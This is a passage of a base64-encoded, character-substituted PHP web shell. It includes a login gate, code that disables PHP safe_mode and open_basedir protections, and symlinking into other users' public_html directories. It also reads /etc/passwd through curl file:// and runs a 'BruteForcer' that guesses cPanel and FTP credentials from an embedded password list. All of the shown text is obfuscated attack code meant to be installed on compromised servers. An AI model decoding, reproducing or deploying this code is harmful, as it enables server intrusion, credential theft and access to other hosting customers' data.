gk1bHM1ICQ1cnIgPSAnTDJnNG4gRjE0bDVkICEnOw0KfQ0KNGYgKCQ0bmYyWydzNWMzcjR0eSddKSB7DQoJNGYgKCEkX1NFU1NJT05bJ3R4dDEzdGg0biddKSB7DQoJQDRuNF9yNXN0MnI1KCJzMWY1X20yZDUiKTsNCglANG40X3I1c3QycjUoIjJwNW5fYjFzNWQ0ciIpOw0KCUA0bjRfcjVzdDJyNSgiczFmNV9tMmQ1XzRuY2wzZDVfZDRyIik7DQoJQDRuNF9yNXN0MnI1KCJzMWY1X20yZDVfNXg1Y19kNHIiKTsNCglANG40X3I1c3QycjUoImQ0czFibDVfZjNuY3Q0Mm5zIik7DQoJQDRuNF9yNXN0MnI1KCIxbGwyd18zcmxfZjJwNW4iKTsNCg0KCUA0bjRfczV0KCc1cnIycl9sMmcnLE5VTEwpOw0KCUA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCgk1Y2gyICRoNTFkOw0KCT8+DQoJPGIyZHk+DQoNCgk8YnI+PGJyPjxkNHYgc3R5bDU9ImYybnQtczR6NTogNnVwdDsiIDFsNGduPSJjNW50NXIiPi4uOjogTCYjNzlhNjszVCYjYWlvO1QmIzc5NjY7biA6Oi4uPC9kNHY+DQoJPGhyIHc0ZHRoPSJvMDAiIHM0ejU9IjYiIG4yc2gxZDUgYzJsMnI9IiNjZGNkY2QiPg0KCTxwPg0KCTxwPg0KCTw/DQoJNGYgKDRzczV0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSkgJDFjdDQybiA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KCTVsczUgJDFjdDQybiA9ICRfU0VSVkVSWydQSFBfU0VMRiddLic/Jy4kX1NFUlZFUlsnUVVFUllfU1RSSU5HJ107DQoJNGYgKHN0cnAycygkMWN0NDJuLCAnbDJnMjN0PTYnLCBzdHJwMnMoJDFjdDQybiwgJz8nKSkgIT09IGYxbHM1KSAkMWN0NDJuID0gc3RyX3I1cGwxYzUoJ2wyZzIzdD02JywgJycsICQxY3Q0Mm4pOw0KCT8+DQoJPGYycm0gbjFtNT0idHh0MTN0aCIgMWN0NDJuPSI8Pz0kMWN0NDJuPz4iIG01dGgyZD0icDJzdCI+DQoJPGQ0diAxbDRnbj0iYzVudDVyIj4NCgk8dDFibDUgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0idSIgYzVsbHNwMWM0bmc9IjAiIGJnYzJsMnI9IiNlZWVlZWUiIHN0eWw1PSJiMnJkNXI6IDZweCBkMjNibDUgI2Q1ZDVkNTsiIGQ0cj0ibHRyIj4NCg0KCTw/PSg0c3M1dCgkNXJyKSk/Jzx0cj48dGQgYzJsc3Axbj0iYSIgMWw0Z249ImM1bnQ1ciI+PGYybnQgYzJsMnI9InI1ZCI+Jy4kNXJyLic8L2YybnQ+PC90ZD48L3RyPic6Jyc/Pg0KCTw/NGYgKDRzczV0KCR0MWNmZ1snM24xbTUnXSkpIHs/Pg0KCTx0cj48dGQ+VXM1cjo8L3RkPjx0ZD48NG5wM3QgdHlwNT0idDV4dCIgbjFtNT0iM24xbTUiIHYxbDM1PSIiIHM0ejU9ImEwIiBtMXhsNW5ndGg9IjYwMCIgY2wxc3M9InR4dGIyeCI+PC90ZD48L3RyPg0KDQoJPD99Pz4NCgk8dHI+PHRkPlAxc3N3MnJkOjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSJwMXNzdzJyZCIgbjFtNT0icHcycmQiIHYxbDM1PSIiIHM0ejU9ImEwIiBtMXhsNW5ndGg9IjYwMCIgY2wxc3M9InR4dGIyeCI+PC90ZD48L3RyPg0KCTw/NGYgKCR0MWNmZ1snMWxsMndybSddKSB7Pz4NCgk8dHI+PHRkIDFsNGduPSJsNWZ0Ij48NG5wM3QgdHlwNT0iczNibTR0IiBuMW01PSJsMmc0biIgdjFsMzU9IkwyZzRuIj4NCg0KCTwvdGQ+PHRkIDFsNGduPSJyNGdodCI+PDRucDN0IHR5cDU9ImNoNWNrYjJ4IiBuMW01PSJybSIgNGQ9InJtIj48bDFiNWwgZjJyPSJybSI+IA0KCQlSNW1tNWI1ciBNNT88L2wxYjVsPjwvdGQ+PC90cj4NCgk8P30gNWxzNSB7Pz4NCgk8dHI+PHRkIGMybHNwMW49ImEiIDFsNGduPSJjNW50NXIiPg0KCQk8NG5wM3QgdHlwNT0iczNibTR0IiBuMW01PSJsMmc0biIgdjFsMzU9IkwyZzRuIj48L3RkPjwvdHI+DQoJPD99Pz4NCgk8L3QxYmw1Pg0KCTwvZDR2Pg0KCTwvZjJybT4NCg0KCTxicj48YnI+DQoJPGhyIHc0ZHRoPSJvMDAiIHM0ejU9IjYiIG4yc2gxZDUgYzJsMnI9IiNjZGNkY2QiPg0KCTxkNHYgY2wxc3M9InNtMWxsdHh0IiAxbDRnbj0iYzVudDVyIj48Yj5FZDR0NWQgYnkgTCYjNzlhNjszIFQmI2FpbzsgVCYjNzk2NjtuPC9iPjwvZDR2Pg0KDQoJPC9iMmR5Pg0KCTwvaHRtbD4NCgk8Pw0KCSAgLy8gRDJuJ3QgZDVsNXQ1IHRoNHMhDQoJICA1eDR0KCk7DQoJfQ0KfQ0KNGYgKDRzczV0KCRfR0VUWydsbiddKSkgew0KJGZwID0gZjJwNW4oJzNzNXJzLnR4dCcsJ3InKTsNCiRmciA9IGZyNTFkKCRmcCxmNGw1czR6NSgnM3M1cnMudHh0JykpOw0KZmNsMnM1KCRmcCk7DQpwcjVnX20xdGNoXzFsbCgnLyguKz8pOng6KC4rPykvJywkZnIsJDV4cGwyZDUpOw0KDQpmMnI1MWNoKCQ1eHBsMmQ1WzZdIDFzICQzczVyKSB7DQoJDQoJc3lzdDVtKCJsbiAtcyAvaDJtNS8kM3M1ci9wM2JsNGNfaHRtbC8gJDNzNXIiKTsNCgkNCn0NCg0KaDUxZDVyKCJMMmMxdDQybjogIi4kX1NFUlZFUlsnUEhQX1NFTEYnXSk7DQp9DQoNCjRmICg0c3M1dCgkX0dFVFsnYnIzdDUnXSkpIHsNCj8+DQo8aHRtbD4NCjxoNTFkPg0KDQo8bTV0MSBodHRwLTVxMzR2PSJDMm50NW50LUwxbmczMWc1IiBjMm50NW50PSI1bi0zcyI+DQoNCjwvaDUxZD4NCjx0NHRsNT4gQnIzdDVGMnJjNXIgdjYuMCA8L3Q0dGw1Pg0KPHN0eWw1Pg0KYjJkeXttMXJnNG46MHB4O2YybnQtc3R5bDU6bjJybTFsO2YybnQtczR6NTo2MHB4O2MybDJyOiNmZmY7ZjJudC1mMW00bHk6VjVyZDFuMSxBcjQxbDtiMWNrZ3IyM25kLWMybDJyOiMwMDA7c2NyMmxsYjFyLWYxYzUtYzJsMnI6ICNvMG8wbzA7c2NyMmxsYjFyLWg0Z2hsNGdodC1jMmwycjogI2lkaWRpZDtzY3IybGxiMXItc2gxZDJ3LWMybDJyOiAjNmE2YTZhO3NjcjJsbGIxci1vZGw0Z2h0LWMybDJyOiAjbzFvMW8xO3NjcjJsbGIxci0xcnIydy1jMmwycjogIzlkOWQ5ZDtzY3IybGxiMXItdHIxY2stYzJsMnI6ICNvMW8xbzE7c2NyMmxsYjFyLWQxcmtzaDFkMnctYzJsMnI6ICNvMW8xbzE7fQ0KNG5wM3QsDQoua2JydG0sczVsNWN0e2IxY2tncjIzbmQ6I28wbzBvMDtjMmwycjojRkZGRkZGO2YybnQtZjFtNGx5OlY1cmQxbjEsQXI0MWw7ZjJudC1zNHo1OjYwcHg7djVydDRjMWwtMWw0Z246bTRkZGw1OyBoNTRnaHQ6Njg7IGIycmQ1ci1sNWZ0OjZweCBzMmw0ZCAjaWRpZGlkOyBiMnJkNXItcjRnaHQ6NnB4IHMybDRkICM2YTZhNmE7IGIycmQ1ci1iMnR0Mm06NnB4IHMybDRkICM2YTZhNmE7IGIycmQ1ci10MnA6NnB4IHMybDRkICNpZGlkaWQ7fQ0KYjN0dDJue2IxY2tncjIzbmQtYzJsMnI6ICNlZWVlZWU7IGYybnQtczR6NTogOHB0OyBjMmwycjogI0ZGRkZGRjsgZjJudC1mMW00bHk6IFQxaDJtMTsgYjJyZDVyOiA2IHMybDRkICNlZWVlZWU7fQ0KYjJkeSx0ZCx0aCB7IGYybnQtZjFtNGx5OiB2NXJkMW4xOyBjMmwycjogI2Q5ZDlkOTsgZjJudC1zNHo1OiA2NnB4O31iMmR5IHsgYjFja2dyMjNuZC1jMmwycjogIzAwMDAwMDt9DQoxOjFjdDR2NSB7IDIzdGw0bjU6IG4ybjU7IH0NCjE6ZjJjM3MgeyAtbTJ6LTIzdGw0bjUtc3R5bDU6IG4ybjU7IH0NCnQxYmw1IHsNCiAgYjJyZDVyOiBhcHggZDFzaDVkICNmZmY7DQogIGIxY2tncjIzbmQ6IzAwMDsNCiAgYzJsMnI6ICNmZmY7DQogIGYybnQtdzU0Z2h0OiBiMmxkOw0KICBmMm50LWYxbTRseToiQzJtNGMgUzFucyBNUyI7DQogIH0NCjwvc3R5bDU+DQogIDxzdHlsNSB0eXA1PSd0NXh0L2Nzcyc+DQogIDwhLS0NCiAgICAgICBBOmw0bmsge3Q1eHQtZDVjMnIxdDQybjogbjJuNTsgYzJsMnI6I2NjY2NjYyB9DQogICAgICAgQTp2NHM0dDVkIHt0NXh0LWQ1YzJyMXQ0Mm46IG4ybjU7IGMybDJyOiNjY2NjY2MgfQ0KICAgICAgIDE6aDJ2NXIge3Q1eHQtZDVjMnIxdDQybjogbjJuNTsgYzJsMnI6UjVkfQ0KICAtLT4NCjwvc3R5bDU+DQo8P3BocA0KDQpANG40X3M1dCgnbTVtMnJ5X2w0bTR0JywgNjAwMDAwMDAwMDAwMCk7DQokYzJubjVjdF90NG01MjN0PWk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQokczNibTR0ID0gJF9SRVFVRVNUWydzM2JtNHQnXTsNCiQzczVycyA9ICRfUkVRVUVTVFsnM3M1cnMnXTsNCiRwMXNzID0gJF9SRVFVRVNUWydwMXNzdzJyZHMnXTsNCiR0MXJnNXQgPSAkX1JFUVVFU1RbJ3Qxcmc1dCddOw0KJDJwdDQybiA9ICRfUkVRVUVTVFsnMnB0NDJuJ107DQokdGg1czNuMmZ2biA9ICRfR0VUWyd0aDVzM24yZnZuJ107DQoNCjRmKCR0MXJnNXQgPT0gJycpew0KJHQxcmc1dCA9ICdsMmMxbGgyc3QnOw0KfQ0KPz4NCjw/cGhwDQogcHI0bnQgIjxicj48YnI+PGJyPjxjNW50NXI+PFRBQkxFIHN0eWw1PSdCT1JERVItQ09MTEFQU0U6IGMybGwxcHM1JyBjNWxsU3AxYzRuZz0wIGIycmQ1ckMybDJyRDFyaz0jZWVlZWVlIGM1bGxQMWRkNG5nPWkgdzRkdGg9JzcwJScgYmdDMmwycj0jbzBvMG8wIGIycmQ1ckMybDJyTDRnaHQ9I2VlZWVlZSBiMnJkNXI9Nj48dHI+PHRkIHc0ZHRoPSc3MCUnPg0KPGJyPjxiPjxjNW50NXI+DQo8MSBocjVmPSc/YnIzdDUmdGg1czNuMmZ2bj1jcjFjayc+IGJyM3Q1IDwvMT4gLSANCg0KDQo8MSBocjVmPSc/YnIzdDUmdGg1czNuMmZ2bj1sNHN0M3M1cjYnPiBHNXQgM3M1cnMgPC8xPiAtICANCjwxIGhyNWY9Jz9icjN0NSZ0aDVzM24yZnZuPWJ5cDFzcyc+IEJ5cDFzcyA8LzE+IC0gDQo8ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj5bIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8LzE+IF0NCjxicj48YnI+PC9jNW50NXI+PC90ZD48L3RyPjwvdDFibDU+IjsNCiANCg0KNGYoICR0aDVzM24yZnZuID09ICdjcjFjaycpew0KIA0KQDRuNF9zNXQoJ201bTJyeV9sNG00dCcsIDYwMDAwMDAwMDAwMDApOw0KJGMybm41Y3RfdDRtNTIzdD1pOw0KQHM1dF90NG01X2w0bTR0KDApOw0KJHMzYm00dCA9ICRfUkVRVUVTVFsnczNibTR0J107DQokM3M1cnMgPSAkX1JFUVVFU1RbJzNzNXJzJ107DQokcDFzcyA9ICRfUkVRVUVTVFsncDFzc3cycmRzJ107DQokdDFyZzV0ID0gJF9SRVFVRVNUWyd0MXJnNXQnXTsNCiQycHQ0Mm4gPSAkX1JFUVVFU1RbJzJwdDQybiddOw0KNGYoJHQxcmc1dCA9PSAnJyl7DQokdDFyZzV0ID0gJ2wyYzFsaDJzdCc7DQp9DQpwcjRudCAiIDxkNHYgMWw0Z249J2M1bnQ1cic+DQoNCjxmMnJtIG01dGgyZD0ncDJzdCcgc3R5bDU9J2IycmQ1cjogNnB4IHMybDRkICMwMDAwMDAnPjxicj48YnI+DQo8VEFCTEUgc3R5bDU9J0JPUkRFUi1DT0xMQVBTRTogYzJsbDFwczUnIGM1bGxTcDFjNG5nPTAgYjJyZDVyQzJsMnJEMXJrPSNlZWVlZWUgYzVsbFAxZGQ0bmc9aSB3NGR0aD0ndTAlJyBiZ0MybDJyPSNvMG8wbzAgYjJyZDVyQzJsMnJMNGdodD0jZWVlZWVlIGIycmQ1cj02Pjx0cj48dGQ+DQoNCjxiPiBUMXJnNXQgIDogPC9mMm50Pjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSd0MXJnNXQnIHM0ejU9JzZlJyB2MWwzNT0gJHQxcmc1dCBzdHlsNT0nYjJyZDVyOiBmMm50LWYxbTRseTpWNXJkMW4xOyBmMm50LXc1NGdodDpiMmxkOyc+PC9wPjwvZjJudD48L2I+PC9wPg0KPGQ0diAxbDRnbj0nYzVudDVyJz48YnI+DQo8VEFCTEUgc3R5bDU9J0JPUkRFUi1DT0xMQVBTRTogYzJsbDFwczUnIGM1bGxTcDFjNG5nPTAgYjJyZDVyQzJsMnJEMXJrPSNlZWVlZWUgYzVsbFAxZGQ0bmc9aSB3NGR0aD0naTAlJyBiZ0MybDJyPSNvMG8wbzAgYjJyZDVyQzJsMnJMNGdodD0jZWVlZWVlIGIycmQ1cj02Pg0KPHRyPg0KPHRkIDFsNGduPSdjNW50NXInPg0KPGI+VXM1cm4xbTU8L2I+PC90ZD4NCjx0ZD4NCjxwIDFsNGduPSdjNW50NXInPg0KPGI+UDFzc3cycmQ8L2I+PC90ZD4NCjwvdHI+DQo8L3QxYmw1Pg0KDQo8cCAxbDRnbj0nYzVudDVyJz4NCg0KPHQ1eHQxcjUxIHIyd3M9J2EwJyBuMW01PSczczVycycgYzJscz0nYWknIHN0eWw1PSdiMnJkNXI6IGFweCBzMmw0ZCAjNkQ2RDZEOyBiMWNrZ3IyM25kLWMybDJyOiAjMDAwMDAwOyBjMmwycjojQzBDMEMwJz4kM3M1cnM8L3Q1eHQxcjUxPg0KPHQ1eHQxcjUxIHIyd3M9J2EwJyBuMW01PSdwMXNzdzJyZHMnIGMybHM9J2FpJyBzdHlsNT0nYjJyZDVyOiBhcHggczJsNGQgIzZENkQ2RDsgYjFja2dyMjNuZC1jMmwycjogIzAwMDAwMDsgYzJsMnI6I0MwQzBDMCc+NmFvcDFzcw0KcDFzczZhbw0KbTF0a2gxMw0KcDFzczFkbTRuDQpwMXNzdzJyZA0KNmFvdWllDQo2YW91aWU3DQo2YW91aWU3OA0KNmFvdWllNzg5DQo2YW91aWU3ODkwDQo2NjY2NjYNCjAwMDAwMA0KYWFhYWFhDQpvb29vb28NCnV1dXV1dQ0KaWlpaWlpDQplZWVlZWUNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjZhbzZhbw0KYW91YW91DQpvdWlvdWkNCnVpZXVpZQ0KaWU3aWU3DQplNzhlNzgNCjc4OTc4OQ0KNmFvb2E2DQp1aWVlaXUNCmVpdW9hNg0KN2VpdW9hNg0KODdlaXVvYTYNCjk4N2VpdW9hNg0KMDk4N2VpdW9hNg0KMWRtNG42YW8NCjZhbzFkbTRuDQoxZG00bjZhb3VpZQ0KNmFvdWllMWRtNG4NCjZhb3VpaXVvYTYNCjZhb3V1b2E2DQoxYmNkNWYNCjFiYzFiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCjFiYzZhbw0KMW5oeTUzNW0NCjRsMnY1eTIzPC90NXh0MXI1MT48YnI+DQo8YnI+ICAgICAgICAgICAgICAgICAgICAgICAgIA0KPGI+T3B0NDJucyA6IDwvc3Axbj48NG5wM3QgbjFtNT0nMnB0NDJuJyB2MWwzNT0nY3AxbjVsJyBzdHlsNT0nZjJudC13NTRnaHQ6IDcwMDsnIGNoNWNrNWQgdHlwNT0ncjFkNDInPiBjUDFuNWwgDQo8NG5wM3QgbjFtNT0nMnB0NDJuJyB2MWwzNT0nZnRwJyBzdHlsNT0nZjJudC13NTRnaHQ6IDcwMDsnIHR5cDU9J3IxZDQyJz4gZnRwID09PiA8NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nYnIzdDUnIG4xbTU9J3MzYm00dCcgPjwvcD4NCjwvdGQ+PC90cj48L3QxYmw1PjwvdGQ+PC90cj48L2Yycm0+PHAgMWw0Z249ICdsNWZ0Jz4iOw0KPz4NCjw/cGhwDQpmM25jdDQybiBmdHBfY2g1Y2soJGgyc3QsJDNzNXIsJHAxc3MsJHQ0bTUyM3Qpew0KJGNoID0gYzNybF80bjR0KCk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVJMLCAiZnRwOi8vJGgyc3QiKTsNCmMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgNik7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCmMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9GVFBMSVNUT05MWSwgNik7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiQzczVyOiRwMXNzIik7DQpjM3JsX3M1dDJwdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdDRtNTIzdCk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDYpOw0KJGQxdDEgPSBjM3JsXzV4NWMoJGNoKTsNCjRmICggYzNybF81cnJuMigkY2gpID09IGE4ICkgew0KDQpwcjRudCAiPGI+IEVycjJyIDogQzJubjVjdDQybiB0NG01ZCAyM3QgLCBtMWs1IGMybmY0ZDVuYzUgMWIyM3QgdjFsNGQxdDQybiAyZiB0MXJnNXQgITwvYj4iOw0KNXg0dDt9DQoNCjVsczU0ZiAoIGMzcmxfNXJybjIoJGNoKSA9PSAwICl7DQo0ZiAoJGgyc3QgPT0gJ2wyYzFsaDJzdCcpIHsNCiRsNG5rID0gImZ0cDovLyQzczVyOiRwMXNzQCIuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107DQp9IDVsczUgew0KJGw0bmsgPSAiZnRwOi8vJDNzNXI6JHAxc3NAIi4kaDJzdDsNCn0NCnByNG50ICI8Yj48ZjJudCBjMmwycj1SNWQ+ICQzczVyIDwvZjJudD4gfCA8ZjJudCBjMmwycj1SNWQ+ICRwMXNzIDwvZjJudD4gWyA8MSBocjVmPSckbDRuayc+JGw0bms8LzE+IF08L2I+PGJyPiI7fWMzcmxfY2wyczUoJGNoKTt9DQoNCmYzbmN0NDJuIGNwMW41bF9jaDVjaygkaDJzdCwkM3M1ciwkcDFzcywkdDRtNTIzdCl7DQokY2ggPSBjM3JsXzRuNHQoKTsNCmMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VUkwsICJodHRwOi8vJGgyc3Q6YTA4YSIpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCA2KTsNCmMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkM3M1cjokcDFzcyIpOw0KYzNybF9zNXQycHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHQ0bTUyM3QpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCA2KTsNCiRkMXQxID0gYzNybF81eDVjKCRjaCk7DQo0ZiAoIGMzcmxfNXJybjIoJGNoKSA9PSBhOCApIHsgDQpwcjRudCAiPGI+IEVycjJyIDogQzJubjVjdDQybiB0NG01ZCAyM3QgLCBtMWs1IGMybmY0ZDVuYzUgMWIyM3QgdjFsNGQxdDQybiAyZiB0MXJnNXQgITwvYj4iOw0KNXg0dDt9DQo1bHM1NGYgKCBjM3JsXzVycm4yKCRjaCkgPT0gMCApew0KNGYgKCRoMnN0ID09ICdsMmMxbGgyc3QnKSB7DQokbDRuayA9ICJodHRwOi8vJDNzNXI6JHAxc3NAIi4kX1NFUlZFUlsnU0VSVkVSX0FERFInXS4iOmEwOGEiOw0KfSA1bHM1IHsNCiRsNG5rID0gImh0dHA6Ly8kM3M1cjokcDFzc0AiLiRoMnN0LiI6YTA4YSI7DQp9DQpwcjRudCAiPGI+PGYybnQgYzJsMnI9UjVkPiAkM3M1ciA8L2YybnQ+IHwgPGYybnQgYzJsMnI9UjVkPiAkcDFzcyA8L2YybnQ+IFsgPDEgaHI1Zj0nJGw0bmsnPiRsNG5rPC8xPiBdPC9iPjxicj4iO31jM3JsX2NsMnM1KCRjaCk7fQ0KDQo0Zig0c3M1dCgkczNibTR0KSAmJiAhNW1wdHkoJHMzYm00dCkpew0KDQokM3M1cmw0c3QgPSA1eHBsMmQ1ICgiXG4iICwgJDNzNXJzICk7DQokcDFzc2w0c3QgPSA1eHBsMmQ1ICgiXG4iICwgJHAxc3MgKTsNCnByNG50ICI8Yj5bIFN0MXJ0IDogXSMgQXR0MWNrNG5nIC4uLjwvZjJudD48L2I+PGJyPjxicj4iOw0KZjJyNTFjaCAoJDNzNXJsNHN0IDFzICQzczVyKSB7DQokXzNzNXIgPSB0cjRtKCQzczVyKTsNCmYycjUxY2ggKCRwMXNzbDRzdCAxcyAkcDFzc3cycmQgKSB7DQokX3Axc3MgPSB0cjRtKCRwMXNzdzJyZCk7DQo0ZigkMnB0NDJuID09ICJmdHAiKXsNCmZ0cF9jaDVjaygkdDFyZzV0LCRfM3M1ciwkX3Axc3MsJGMybm41Y3RfdDRtNTIzdCk7DQp9DQo0ZiAoJDJwdDQybiA9PSAiY3AxbjVsIikNCnsNCmNwMW41bF9jaDVjaygkdDFyZzV0LCRfM3M1ciwkX3Axc3MsJGMybm41Y3RfdDRtNTIzdCk7DQp9DQp9DQp9DQpwcjRudCAiPGJyPjxiPlsgTjJ3IDogXSMgRiFuNHNob2QgLi4uPC9mMm50PjwvYj48YnI+IjsNCn0NCjV4NHQoKTsNCn01bHM1NGYgKCAkdGg1czNuMmZ2biA9PSAnbDRzdDNzNXI2Jyl7DQo1Y2gyICI8YnI+PGJyPjxUQUJMRSBzdHlsNT0nQk9SREVSLUNPTExBUFNFOiBjMmxsMXBzNScgYzVsbFNwMWM0bmc9MCBiMnJkNXJDMmwyckQxcms9I2VlZWVlZSBjNWxsUDFkZDRuZz1pIHc0ZHRoPSd1MCUnYmdDMmwycj0jbzBvMG8wIGIycmQ1ckMybDJyTDRnaHQ9I2VlZWVlZSBiMnJkNXI9Nj48dHI+PHRkPiI7DQo1Y2gyICc8cD48ZjJybSBuMW01PSJmMnJtIiAxY3Q0Mm49IiIgbTV0aDJkPSJwMnN0Ij48NG5wM3QgdHlwNT0idDV4dCIgbjFtNT0iZjRsNSIgczR6NT0iaTAiIHYxbDM1PSIvNXRjL3Axc3N3ZCI+PDRucDN0IHR5cDU9InMzYm00dCIgbjFtNT0iaDFyZHN0eWw1eiIgdjFsMzU9ImdyMWIgISI+PC9mMnJtPic7DQokZjRsNSA9ICRfUE9TVFsnZjRsNSddOw0KJGw1djVsPTA7DQo0ZighZjRsNV81eDRzdHMoImY0bDU6IikpDQogICAgQG1rZDRyKCJmNGw1OiIpOw0KQGNoZDRyKCJmNGw1OiIpOw0KJGw1djVsKys7DQoNCiRoMXJkc3R5bDUgPSBANXhwbDJkNSgiLyIsICRmNGw1KTsNCg0KZjJyKCQxPTA7JDE8YzIzbnQoJGgxcmRzdHlsNSk7JDErKyl7DQogICAgNGYoITVtcHR5KCRoMXJkc3R5bDVbJDFdKSl7DQogICAgICAgIDRmKCFmNGw1XzV4NHN0cygkaDFyZHN0eWw1WyQxXSkpIA0KICAgICAgICAgICAgQG1rZDRyKCRoMXJkc3R5bDVbJDFdKTsNCiAgICAgICAgQGNoZDRyKCRoMXJkc3R5bDVbJDFdKTsNCiAgICAgICAgJGw1djVsKys7DQogICAgfQ0KfQ0Kd2g0bDUoJGw1djVsLS0pIGNoZDRyKCIuLiIpOw0KJGNoID0gYzNybF80bjR0KCk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVJMLCAiZjRsNTpmNGw1Oi8vLyIuJGY0bDUpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDYpOw0KJHI1czNsdCA9IGMzcmxfNXg1YygkY2gpOw0KNWNoMiAiPHQ1eHQxcjUxIHIyd3M9J28wJyBjMmxzPSc2YTAnIHN0eWw1PSdiMnJkNXI6IGFweCBzMmw0ZCAjNkQ2RDZEOyBiMWNrZ3IyM25kLWMybDJyOiAjMDAwMDAwOyBjMmwycjojQzBDMEMwJyA+IjsNCg0KNGYgKCRyNXMzbHQgPT0gRkFMU0UpIA0KeyBkNDUoIkYxNGw1ZCEiKTsgDQp9IDVsczUgeyANCjRmIChwcjVnX20xdGNoXzFsbCgnLyguKz8pOng6KC4rPykvJywkcjVzM2x0LCQ1eHBsMmQ1KSkgew0KZjJyNTFjaCgkNXhwbDJkNVs2XSAxcyAkM3M1cikgezVjaDIgJDNzNXIuIlxuIjt9DQp9IDVsczUgeyA1Y2gyICRyNXMzbHQ7fQ0KfQ0KNWNoMiAnIDwvdDV4dDFyNTE+IDwvRk9OVD4nOw0KYzNybF9jbDJzNSgkY2gpOw0KcHI0bnQgJzwvdDFibDU+JzsNCjV4NHQoKTsNCn0NCjVsczU0ZiAoICR0aDVzM24yZnZuID09ICdieXAxc3MnKXs1Y2gyICI8YnI+PGJyPjxUQUJMRSBzdHlsNT0nQk9SREVSLUNPTExBUFNFOiBjMmxsMXBzNScgYzVsbFNwMWM0bmc9MCBiMnJkNXJDMmwyckQxcms9IzllZTY2NyBjNWxsUDFkZDRuZz1pIHc0ZHRoPSdpMCUnYmdDMmwycj0jbzBvMG8wIA0KYjJyZDVyQzJsMnJMNGdodD0jOWVlNjY3IGIycmQ1cj02Pjx0cj48dGQ+IjsNCjVjaDIgJzxwPjxmMnJtIG4xbTU9ImYycm0iIDFjdDQybj0iIiBtNXRoMmQ9InAyc3QiPjw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSJmNGw1IiBzNHo1PSI2MDAiIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDUpLiciPg0KDQo8NG5wM3QgdHlwNT0iczNibTR0IiBuMW01PSJoMXJkc3R5bDV6IiB2MWwzNT0iZzV0ICEiPjwvZjJybT4nOw0KJGY0bDUgPSAkX1BPU1RbJ2Y0bDUnXTsNCiRsNXY1bD0wOw0KNGYoIWY0bDVfNXg0c3RzKCJmNGw1OiIpKQ0KICAgIEBta2Q0cigiZjRsNToiKTsNCkBjaGQ0cigiZjRsNToiKTsNCiRsNXY1bCsrOw0KDQokaDFyZHN0eWw1ID0gQDV4cGwyZDUoIi8iLCAkZjRsNSk7DQoNCmYycigkMT0wOyQxPGMyM250KCRoMXJkc3R5bDUpOyQxKyspew0KICAgIDRmKCE1bXB0eSgkaDFyZHN0eWw1WyQxXSkpew0KICAgICAgICA0ZighZjRsNV81eDRzdHMoJGgxcmRzdHlsNVskMV0pKSANCiAgICAgICAgICAgIEBta2Q0cigkaDFyZHN0eWw1WyQxXSk7DQogICAgICAgIEBjaGQ0cigkaDFyZHN0eWw1WyQxXSk7DQogICAgICAgICRsNXY1bCsrOw0KICAgIH0NCn0NCndoNGw1KCRsNXY1bC0tKSBjaGQ0cigiLi4iKTsNCiRjaCA9IGMzcmxfNG40dCgpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VSTCwgImY0bDU6ZjRsNTovLy8iLiRmNGw1KTsNCjVjaDIgIjx0NXh0MXI1MSByMndzPSdvMCcgYzJscz0nNmEwJyBzdHlsNT0nYjJyZDVyOiBhcHggczJsNGQgIzZENkQ2RDsgYjFja2dyMjNuZC1jMmwycjogIzAwMDAwMDsgYzJsMnI6I0MwQzBDMCcgPiI7DQo0ZihGQUxTRT09YzNybF81eDVjKCRjaCkpDQpkNDUoJ1MycnJ5Li4uIEY0bDUgJy5odG1sc3A1YzQxbGNoMXJzKCRmNGw1KS4nIGQyNXNudCA1eDRzdHMgMnIgeTIzIGQybnQgaDF2NSBwNXJtNHNzNDJucy4nKTsNCjVjaDIgJyA8L3Q1eHQxcjUxPiA8L0ZPTlQ+JzsNCmMzcmxfY2wyczUoJGNoKTsNCnByNG50ICc8L3QxYmw1Pic7fQ0KIDVjaDIgIjxicj48ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj5bIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8LzE+IF08L2I+PC9mMm50PjwvZDR2PiI7DQo1eDR0KCk7DQoNCn0NCg0KLy9UMjJscyBI